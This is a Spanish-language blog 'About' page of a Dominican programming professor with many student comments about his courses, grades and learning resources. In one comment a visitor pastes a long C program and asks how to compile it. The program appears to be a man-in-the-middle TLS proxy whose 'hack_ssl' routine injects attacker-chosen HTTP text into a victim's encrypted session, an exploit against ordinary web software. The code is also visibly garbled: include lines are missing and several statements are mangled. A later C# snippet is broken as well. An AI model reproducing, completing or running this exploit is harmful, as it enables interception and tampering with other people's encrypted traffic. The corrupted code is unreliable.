Acerca de ecabrera
Hola.
Mi nombre es Eligio Cabrera. Soy de Santo Domingo, República Dominicana.
He sido profesor de computación por más de 30 años y comparto aquí apuntes y código, por si le sirve a alguien.
Si al menos una persona encuentra algo que le sea verdaderamente útil aquí, mi objetivo se habrá logrado completamente.
Por supuesto, acepto ideas que aporten, sugieran, critiquen, estimulen, amonesten, elogien y hasta procuren destruir.
También es un espacio que me ayuda para mis cursos de programación en el Intec y estoy remosándolo para que sea más entretenido, dinámico y útil.
Puede que pronto aquí los alumnos puedan realizar evaluaciones de autoevaluación y sumativas, entre otras novedades que tengo en mente.
Espero les guste y me pueden dejar sus comentarios en esta misma página, por favor, pues serán muy bien recibidos, incluso los que muestren oportunidades de mejorar, no importa el tono de las palabras.
Gracia y paz.
ecabrera, mayo 2011.
Hola, ecabrera.
Eres yo mismo, probando.
Aqui Francis Zorrilla reportando, excelente esfuerzo Eligio. Entiendo que este BLOG sera muy util para las pasadas y nuevas generaciones.
Saludos!
Gracias por siempre, y sepa que el esfuerzo realizados con nosotros ITESA 1991-1996 no ha sido en vano.
Ralph
Espero que siga aportando sus ideas que tan utiles han sido para muchos, en especial para mi.
Siga adelante.
gracias profesor por el espacio es muy util
Gracias, Jojojosé (estamos en Navidad…).
Ojalá se vuelva más interesante en lo adelante; incluso, puedes contribuir a ello.
Saludos.
ecabrera.
la tecnologia robotica de Japon esta marcando el modelo mundial, sus percepciones nos orientan respecto al futuro de los robots segun las empresas e investigaciones de este pais. Por lo que debemos de estar precabidos a seguir los pasos de esta innovadora nacion, asi como, de su cultura y desarrollo industrial.
Desde que los robots se unieron al personal de las fabricas en la decada de 1970, el desarrollo y la tecnologia de la robotica en Japon han liderado el mundo. En la actualidad continuan marcando el modelo para todo el planeta. El la ultima decada has creado humanoides que andan con dos piernas, como el P2 dado a conocer por la empresa Honda Motors en 1996, seguido en el año 2000 por el ASIMO de Honda. Ambos provocaron en la gente el interes de interacturar con robots. AIBO, la mascota robot de Sony, establecio un nuevo record de consumo en 1999.
El conocimiento técnico y la experiencia adquiridos en los últimos años han provocado la aparición de otros jugadores, lo que abre nuevas y más inmediatas posibilidades. Estos esfuerzos de colaboración fructificarán en la próxima generación de robots.
La robótica japonesa está en la cresta de la ola, aunque todavía hay grandes retos por delante. Además, en algunos países la robótica está tomando direcciones militares. Así que durante este siglo los científicos tendrán que asumir posiciones éticas al respecto. Estoy convencido de que los principios éticos y una visión pacifista, no militarista, deben presidir los futuros proyectos de robótica en el mundo.
Los robots industriales se crearon evidentemente con fines económicos, y a sus empresas les fue muy bien. La investigación en robótica básica desarrollada en las universidades produjo robots prácticos, capaces de realizar trabajos útiles en las fábricas. Japón se convirtió en el país de los robots, gracias a su visión y a un conjunto de estrategias diseñadas para llegar a ser el centro industrial más importante del mundo. Sin embargo, la robótica industrial se estabilizó en la década de 1990, al tiempo que los nuevos desarrollos parecían apuntar en otra dirección. Muchos creadores no sabían en realidad lo que sus robots debían hacer o en qué campo; es decir, sus robots no estaban diseñados para ayudar a la gente. Esta nueva generación, después de la industrial, no entra en ninguna categoría de utilidad. Simplemente su propósito fue “vivir” con humanos.
Los avances en la cibérnica han ayudado a desarrollar el traje-robot que los investigadores le han llamado Híbrido de Asistencia para las Extremidades (HAL). El HAL es el primer sistema del mundo que enlaza el cuerpo humano con una estructura robótica que se mueve como uno desea. Trabaja tan de cerca con los sistemas neurológico y músculo-esquelético de la persona que lo lleva que, de hecho, es una prolongación del propio cuerpo. Las diversas partes del cuerpo humano se mueven cuando el cerebro envía órdenes a los músculos. Estas órdenes son pequeñas señales bioeléctricas que se pueden detectar en la piel. El HAL las detecta y las convierte en órdenes que envía a los centros motores que lleva incorporados. De este modo, si usted lleva puesto un HAL y quiere levantarse, sentarse, andar o cargar algo pesado, el HAL identifica las señales enviadas por su cerebro y le ayuda a hacer todas esas cosas.
Antes los robots sólo trabajaban en fábricas. Pero eso era en el pasado. Hoy también pueden verse ayudando en oficinas, tiendas y hogares e interactuando con las personas, o incluso rescatándolas en lugares de desastres naturales. La relación entre los seres humanos y los robots se está volviendo más cercana dia tras dia.
Profesor soy una estudiante suya en la seccion 80 del laboratorio de elemento de computacion, quiero decirle que sus clases son muy interesantes y a la vez aprendo mucho ya que la programacion es un conocimiento nuevo para mi…
He podido desarrollar mis capacidades en la elaboracion de programas en C y hasta ahora no he tenido problemas…. Ha sido de gran utilidad etsa asignatura para mi!!
que tal profesor, me imagino que bien, sin embargo me interesa hablar conn usted debido a que reprobe el lab. y me gustaria que reconsideraramos en una posible revision lo mas urgente.
profesor, quisiera saber cual es al versión del programa de bloodshed dev-c++, me sale una versión beta en este link:
http://dev-c.softonic.com/
al parecer es la versión 5.0 beta 9.2 (4.9.9.2) tal como dice el link anterior…quisiera tener el programa lo mas pronto posible en mi pc para practicar…espero su respuesta
Que tal prof aqui le mando el link de la pagina con los lenguajes de programacion mas populares tal como le dije. Cuidese. http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html
Saludos Profesor
En la tarde de hoy no podre asistir a clase pero de todas formas yo estare dandole siguimiento al blog para saber que se debera realizar con el proyecto final.
Hola, profesor, e tenido un problema!.. la pagina que nos dio http://cubepluslinux.com/elearning/claroline.89 , para hacer las tareas , osea bajarlas y demas, no me entra, y le tengo que hacer la tarea!
Hola Profesor! Permitame decirle que considero elementos de computacion una asignatura muy importante, aunque al proncipio no le puedo negar que no le encontraba la utilidad, pero ahora que estoy empapada de ciertos temas la encuentro muy interesante, ya que eso nos permite incursionar en nuevas experiencias que antes ignorabamos; espero que siga siendo como es porque lo considero muy buen profesor y sobre todo con mucha etica y profesionalidad.
Dios lo bendiga!!
Jahaira Luisa Garcia Matos
07-0781
Seccion 73
Bendiciones,
Excelente idea este BLOG, como cambian las cosas antes era todo diferente ahora los muchachos tienen mas herramientas.
Bendiciones.
señor le agradezco mucho compartir su conocimiento muchas gracias
Buenas profesor! Espero se encuentre bien, quiero comentarle que he intentado subir un archivo ppt a nuestra pagina, un archivo de modo educativo tipo el que usted habia puesto en la pagina antes de que se echara a perder y no pude hacerlo. En realidad me habria gustado poder subir la presentacion ya que eso motiva a los demas companeros al uso de los recursos de la pagina y a la discusion acerca de temas educativos y de gran valor moral.
Cuidese, Bendiciones!!
Jahaira Luisa Garcia Matos
07-0781
Seccion 73
excelente el curso de elemento tanto la teoria como el laboratorio hay problemas bien interesantes el triangulo es uno de ellos
Gracias por tus palabras.
Cada trimestre procuramos mejorarlo, porque ciertamente es muchísimo
lo que se puede mejorar, de tal manera que el próximo trimestre introduciremos el uso del e-judge en el aula (con un porcentaje del valor final de la nota, el blog para seguimiento de las participaciones (de nuevo) para asegurar la moderación, el banco de prácticas de laboratorio para realizar en clase, el banco de tareas para realizar en casa, el uso oficial de sólo C# como lenguaje de programación (sin apelar a clases y objetos explícitamente), el uso local de la plataforma Claroline (e-learning), para asegurar el acceso permanente desde el labti, la realización de competencias de programación trimestrales, un nuevo programa de clases para Elementos, Lógica y Avanzada incluyendo tópicos secuenciales y ejes transversales), entre otras cosas.
Gracia y paz.
ecabrera.
En verdad pudiera usted entender que fui (ITESA 1991-1995) y así pienso yo, uno de los menos aventajados en los cálculos para esa época; no siendo así en los momentos de chercha, regocijo y celebraciones
.
Lo que tal vez no sabe y quiero expresarle, es al agradecimiento inmenso que le tengo al igual que mi familia, de trabajar constantemente en mi (nosotros) el sentido de humildad, honestidad y razonamiento que siempre predica y practica.
Muchas Gracias !!
Muchas Gracias !!
L3R
Seccion 01
Profesor yo soy uno de los que olvido su clave del claroline y usted me dijo que le enviara la tarea del sabado a su correo pero el problema es que pense que tenia su correo, pero no lo tengo, le pido que mande su correo por favor
Gracias!!!
muy buen blog muy completo con muchas herramientas interesantes!! felicidades ecabrera
Cual es el blog del libro, ya lo he acabado de leer y es practicamente una ampliacion del libro anterior Padre Rico, Padre Pobre, muy buenos ambos. Le recomiendo un libro muy interesante, le servira me parece para el proyecto que me comento, “La revolucion de la Riqueza” de Alvin y Heidi Toffler
Hola maestro, tengo poco tiempo conociendo, pero me siento afortunado de conocerlo, es usted un excelente ser humano, siempre que pueda voy nutrirme de sus vastos conocimientos. Muchas bendiciones para usted y los suyos.
Fué usted profesor en el colegio Babeque?
De ser así, entonces fuimos compañeros en los años 80 y me gustaría volver a conversar con usted.
Profe… El codigo que usted hizo mucho para calcular numeros grandes.. que usted sumaba y multiplicara como si fuera a mano… Si me podria decir como es que le puso de nombre para buscarlo … por que recuerdo que lo subio al blog(osea aqui).. Grax de antemano
Saludos, visitando el blog me di cuenta de cuan interesante resulta entrar al mismo, y lo didactico que es.. he aclarado unas cuantas dudas, leyendo una de las explicaciones que ha hecho profesor, gracias.
Gracias por tus comentarios. Gracia y paz.
ecabrera. Mejor es el que tarda en airarse que el fuerte, el que domina su espritu que el conquistador de una ciudad. (Proverbios 16:32)
Buenas, Estuve esta tarde revisando el blog y le felicito sinceramente por la forma tan clara de explicar los metodos y las aplicaciones de lo que es la programacion. Ya el trimestre se esta acabando y le doy las gracias por su paciencia con nosotros. Le recomiendo Law Abiding Citizen, es una pelicula muy buena y The Hurt Locker si le gustan las peliculas de guerra. Saludos y gracias.
Muchas gracias por tu comentario.
Me aboco a un uso ms intenso del blog, por lo que te podra convenir seguir sintonizado… Gracia y paz.
ecabrera. Mejor es el que tarda en airarse que el fuerte, el que domina su espritu que el conquistador de una ciudad. (Proverbios 16:32)
Muchsimas gracias por tus comentarios y tus recomendaciones.
Creo que vi la primera y la segunda la verpronto, en cuanto pueda. Gracia y paz.
ecabrera. Mejor es el que tarda en airarse que el fuerte, el que domina su espritu que el conquistador de una ciudad. (Proverbios 16:32)
Buenos dias Profesor, quisiera saber en que categoria es que subira el archivo de las calificaciones del laboratorio de este trimestre.. o si alguien sabe que me diga!
gracias!
Apuntes. Gracia y paz.
ecabrera. Mejor es el que tarda en airarse que el fuerte, el que domina su espritu que el conquistador de una ciudad. (Proverbios 16:32)
hola profe
un placer saludarle, encontrar un codigo por la web quiero compilarlo, me resulta problematico, algunas librerias raras se apaerecen necesito q me de una idea por favor.
el codigo es este:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void
fail(const char *proc)
{
perror(proc);
exit(1);
}
void
setup_server
(int *sock, int port)
{
struct sockaddr_in sa;
int s, r, i;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
i = 1;
r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
if (r == -1)
fail(“setup_server:setsockopt(SO_REUSEADDR)”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_server:bind”);
r = listen(s, 5);
if (r == -1)
fail(“setup_server:listen”);
*sock = s;
}
void
do_accept
(int *accepted, int sock)
{
struct sockaddr_in sa;
socklen_t sl;
int s;
sl = sizeof(sa);
s = accept(sock, (struct sockaddr *) &sa, &sl);
if (s == -1)
fail(“do_accept:accept”);
fprintf(stderr, “accepted %s:%d\n”,
inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
*accepted = s;
}
void
setup_client
(int *sock, in_addr_t ip, int port)
{
struct sockaddr_in sa;
int s, r;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ip;
sa.sin_port = htons(port);
r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_client:connect”);
*sock = s;
}
int
xread
(int fd, unsigned char *buf, size_t len)
{
int r, rlen;
rlen = 0;
while (len > 0) {
r = read(fd, buf, len);
if (r == 0)
break;
else if (r == -1)
return -1;
buf += r;
len -= r;
rlen += r;
}
return rlen;
}
struct ssl_io_t
{
SSL *ssl;
int fd;
int raw;
};
extern int
ssl3_read_bytes
(SSL *s, int type, unsigned char *buf, int len, int peek);
int
rec_read
(struct ssl_io_t *io, unsigned char *buf)
{
int r, l;
#if 0
fprintf(stderr, “rec read %s\n”,
io->raw & 1 ? “raw” : “cooked”);
#endif
if (io->raw & 1) {
r = xread(io->fd, buf, 5);
if (r == 0)
return 0;
else if (r != 5)
fail(“rec_read:read1″);
if (buf[0] != 0×80)
l = (buf[3] << 8) + buf[4];
else /* ssl2 hack */
/* fail("rec_read:ssl2"); */
l = (buf[1]) – 3;
if (l (1 <fd, buf + 5, l);
if (r != l)
fail(“rec_read:read2″);
l += 5;
return l;
}
else {
r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
if (r == 0)
return 0;
else if (r ssl->s3->change_cipher_spec) {
buf[0] = 0×14;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = 0;
buf[4] = 1;
buf[5] = 1;
io->raw |= 1;
io->ssl->s3->change_cipher_spec = 0;
return 6;
}
fail(“rec_read:ssl3_read_bytes”);
}
l = r;
buf[0] = io->ssl->s3->rrec.type;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = (l >> 8);
buf[4] = (l & 0xff);
return l + 5;
}
}
extern int
ssl3_write_bytes
(SSL *s, int type, const void *buf_, int len);
void
rec_write
(struct ssl_io_t *io, unsigned char *buf, size_t len)
{
int r;
#if 0
fprintf(stderr, “rec write %s\n”,
io->raw & 2 ? “raw” : “cooked”);
#endif
if (io->raw & 2) {
r = write(io->fd, buf, len);
if (r != len)
fail(“rec_write:write”);
}
else {
r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len – 5);
if (r raw |= 2;
}
}
}
void
ssl_io
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
struct ssl_io_t *ssls[2];
int maxfd, active;
int i, r, l;
fd_set rfd;
unsigned char buf[1 << 16];
ssls[0] = assl;
ssls[1] = cssl;
active = 3;
maxfd = 0;
for (i = 0; i fd >= maxfd)
maxfd = ssls[i]->fd + 1;
while (active) {
FD_ZERO(&rfd);
for (i = 0; i < 2; i++)
if (active & (1 <fd, &rfd);
r = select(maxfd, &rfd, NULL, NULL, NULL);
if (r == -1)
fail(“rec_io:select”);
for (i = 0; i < 2; i++) {
if (active & (1 <fd, &rfd)) {
r = rec_read(ssls[i], buf);
if (r == 0) {
shutdown(ssls[i]->fd, SHUT_RD);
shutdown(ssls[1 - i]->fd, SHUT_WR);
active &= ~(1 <ssl = ssl;
io->fd = sock;
io->raw = raw;
}
int
bogus_change_cipher_state
(SSL *ssl, int i)
{
return 0;
}
/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
int (*enc)(SSL *, int);
int (*mac)(SSL *, unsigned char *, int);
int (*setup_key_block)(SSL *);
int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
int (*change_cipher_state)(SSL *, int);
int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
int finish_mac_length;
int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
const char *client_finished_label;
int client_finished_label_len;
const char *server_finished_label;
int server_finished_label_len;
int (*alert_value)(int);
} SSL3_ENC_METHOD;
#define TRICK “GET /ble HTTP/1.0\r\nX-Blah: ”
void
hack_ssl
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
int r, l;
unsigned char buf[1 << 16];
SSL_METHOD *mth;
r = rec_read(assl, buf);
if (r raw = 0;
r = SSL_CTX_set_ssl_version
(cssl->ssl->ctx, buf[2] == 0 ?
SSLv3_client_method() : TLSv1_client_method());
if (r != 1)
fail(“hack_ssl:SSL_CTX_set_ssl_version”);
r = SSL_clear(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_clear”);
r = SSL_connect(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_connect”);
/* ssl3_setup_buffers(io->ssl);
ssl_get_new_session(io->ssl, 0); */
r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
if (r != sizeof(TRICK)-1)
fail(“hack_ssl:SSL_connect”);
cssl->ssl->in_handshake++;
cssl->ssl->method->ssl3_enc->change_cipher_state =
bogus_change_cipher_state;
}
else {
/* schedule suicide */
alarm(5);
}
rec_write(cssl, buf, l);
}
#define HTTP_OK “HTTP/1.0 200 Connected\r\n\r\n”
void
handle_http_req
(int sock, in_addr_t *ip, int *port)
{
int r, l, k;
unsigned char buf[1 << 16];
char str[100];
unsigned short num;
struct hostent *he;
l = 0;
for (;;) {
r = read(sock, buf + l, sizeof(buf)-1 – l);
if (r 0; ++k, –r)
if (buf[k] != ‘\r’)
buf[l++] = buf[k];
if (l >= 2 && buf[l-1] == ‘\n’ && buf[l-2] == ‘\n’)
break;
if (l >= sizeof(buf)-1)
fail(“handle_http_req:req too big”);
}
buf[l] = ”;
r = sscanf(buf, “CONNECT %99[0-9A-Za-z.-]:%hu”, str, &num);
if (r != 2)
fail(“handle_http_req:bad request”);
he = gethostbyname(str);
if (he == NULL || he->h_length != sizeof(in_addr_t))
fail(“handle_http_req:gethostbyname”);
r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
if (r != sizeof(HTTP_OK)-1)
fail(“handle_http_req:write”);
*ip = *(in_addr_t *)(he->h_addr_list[0]);
*port = num;
}
int
main
(int argc, const char **argv)
{
pid_t pid;
int ssock, asock, csock;
SSL_CTX *ctx;
in_addr_t ip;
int port;
struct ssl_io_t assl, cssl;
setup_ssl_ctx(&ctx);
setup_server(&ssock, atoi(argv[1]));
for (;;) {
do_accept(&asock, ssock);
pid = fork();
if (pid == -1)
fail(“main:fork”);
else if (pid == 0) {
close(ssock);
handle_http_req(asock, &ip, &port);
setup_client(&csock, ip, port);
setup_ssl_io(&assl, ctx, asock, 3);
setup_ssl_io(&cssl, ctx, csock, 3);
hack_ssl(&assl, &cssl);
ssl_io(&assl, &cssl);
return 0;
}
else {
close(asock);
}
}
}
using System;
class Program
{
static void Main()
{
long t = Convert.ToInt32(Console.ReadLine());
long d = new long[t];
for (long k = 0; k < t; k++)
{
d[k] = Convert.ToInt32(Console.ReadLine());
}
SumCubo(d, t);
}
static void SumCubo(long[] d, long t)
{
long s = new long[t];
long w = 0;
for (long k = 0; k < t; k++)
{
s[k] = Math.Pow(d[k], 2);
}
for (long u = 0; u < t; u++)
{
w += s[u];
}
SiTerminaUno(w);
}
static bool SiTerminaUno(long n)
{
bool r= true;
}
profesor como se si llega a uno en el codigo anterior?
Profesor, publique la práctica de Cálculo Diferencial por favor.
La publicacion oficial de las notas del Intec es un la 12da semana, en intec virtual.
Profesor Eligio, soy el estudiante de ingeniería civil, Jesús Emile Santana(10-0671) de su clase Fundamento de Programación, de la sección 01 de teoría y del lab de 11:00 a 1:00 de los lunes.
Le pido disculpas por no asistir hoy a las 12:00 m como acordamos, pero un familiar falleció y no tuve otra opción. Espero haya chequeado mi caso, y haya encontrado el 1 del lab. Que junto a los unos de la teoría, puedo lograr mi objetivo de aprobar con mi esfuerzo dicha materia. Quedo en espera de usted . gracias anticipadas.
En breve voy a publicar y verás los resultados.
Eligio Cabrera Director Laboratorio de Tecnologia de la Informacion Instituto Tecnologico de Santo Domingo –INTEC Av. Los Proceres, Gala. P.O. Box 342-9 y 249-2 Santo Domingo, República Dominicana. Oficina 809.567.9271 x 264/ Fax. (809) 566-3200 Movil 809.878.8389 Email epimente@intec.edu.do/www.intec.edu.do
Saludos profesor, y la publicacion de las notas?
Ya publiqué!!!!
Eligio Cabrera Director Laboratorio de Tecnologia de la Informacion Instituto Tecnologico de Santo Domingo –INTEC Av. Los Proceres, Gala. P.O. Box 342-9 y 249-2 Santo Domingo, República Dominicana. Oficina 809.567.9271 x 264/ Fax. (809) 566-3200 Movil 809.878.8389 Email epimente@intec.edu.do/www.intec.edu.do
Negativo, no hay notas publicadas.
Positivo: ahora mismo tengo la hoja de Registro que acabo de firmar, habiendo publicado ayer.
Debes verificar ahora, por favor.
Y si no estn, ten la bondad de reconocer. Que yo no he tenido nada que ver con eso…
ecabrera
Eligio.
Es cierto que el mejor lenguaje para comenzar a programar es VB.NET?
Para mi ‘mejor’ es una mala palabra, al menos que se establezcan los criterios.
VB creo que es una buena opcin.
Pero prefiero C por razones casi dogmtica, al menos as les parecen a algunos.
Por otra parte, no me interesa lo mejor, no en sentido de mucha gente pretenciosa que solo viste, come y c… lo mejor.
Al diablo con lo mejor. Se puden quedar con l. Es una prdida de tiempo.
VB est bien. La consistencia es la clave, no el lenguaje, creo yo.
Pero creo que debes consultarlo con programadores ms exitosos que yo, mejor autorizados.
Muchas gracias por la respuesta, le consulte a usted ya que estaba leyendo un documental que decía eso, por eso lo quería aclarar, tengo dos preguntas mas.
Primera.
Que lenguaje dará para su próxima sección de lógica?
Segundo.
Y si es posible del lenguaje que sea me de un libro o un link para comenzar a estudiar..
C.
‘El Lenguaje de Programacin C.’ De Kernigan y Ritchie.
Y empieza resolver problemas en projecteuler.net y spoj.pl.